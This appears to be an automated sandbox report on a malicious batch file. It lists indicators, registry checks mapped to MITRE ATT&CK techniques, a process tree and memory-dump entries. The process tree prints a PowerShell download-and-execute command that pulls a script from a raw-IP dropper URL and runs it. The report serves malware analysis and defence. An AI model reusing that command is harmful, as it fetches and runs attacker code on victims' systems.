632b25be71b19500300e6e3e404c0b3c7bc7f8538bc3db94fac827bb91ee848a

General

Target

e8kSryaf.bat
Sample

191220-matk4mdz1j
SHA256

632b25be71b19500300e6e3e404c0b3c7bc7f8538bc3db94fac827bb91ee848a

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/e8kSryaf

Signatures

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

description	ioc
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS

Program crash 1 IoCs

Processes:

WerFault.exe

pid process

3048 WerFault.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3048 WerFault.exe
Token: SeBackupPrivilege 3048 WerFault.exe
Token: SeDebugPrivilege 3048 WerFault.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

WerFault.exe

pid process

3048 WerFault.exe

pid	process
3048	WerFault.exe

description	pid	process
Token: SeRestorePrivilege	3048	WerFault.exe
Token: SeBackupPrivilege	3048	WerFault.exe
Token: SeDebugPrivilege	3048	WerFault.exe

pid	process
3048	WerFault.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e8kSryaf.bat"
1⤵
PID:5028

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/e8kSryaf');Invoke-FRJQQICACGLPV;Start-Sleep -s 10000"
2⤵
PID:5072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3048

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3048-0-0x0000000004E40000-0x0000000004E41000-memory.dmp

Filesize
4KB

Download
memory/3048-1-0x0000000005800000-0x0000000005801000-memory.dmp

Filesize
4KB

Download
memory/3048-22-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-23-0x00000000058F0000-0x00000000058F1000-memory.dmp

Filesize
4KB

Download
memory/3048-24-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-25-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-26-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-27-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-28-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-29-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-30-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-31-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-32-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-33-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-34-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-35-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-36-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-37-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-38-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-39-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-40-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-41-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-42-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-43-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-44-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-45-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-46-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-47-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-48-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-49-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-50-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-51-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-52-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/3048-53-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads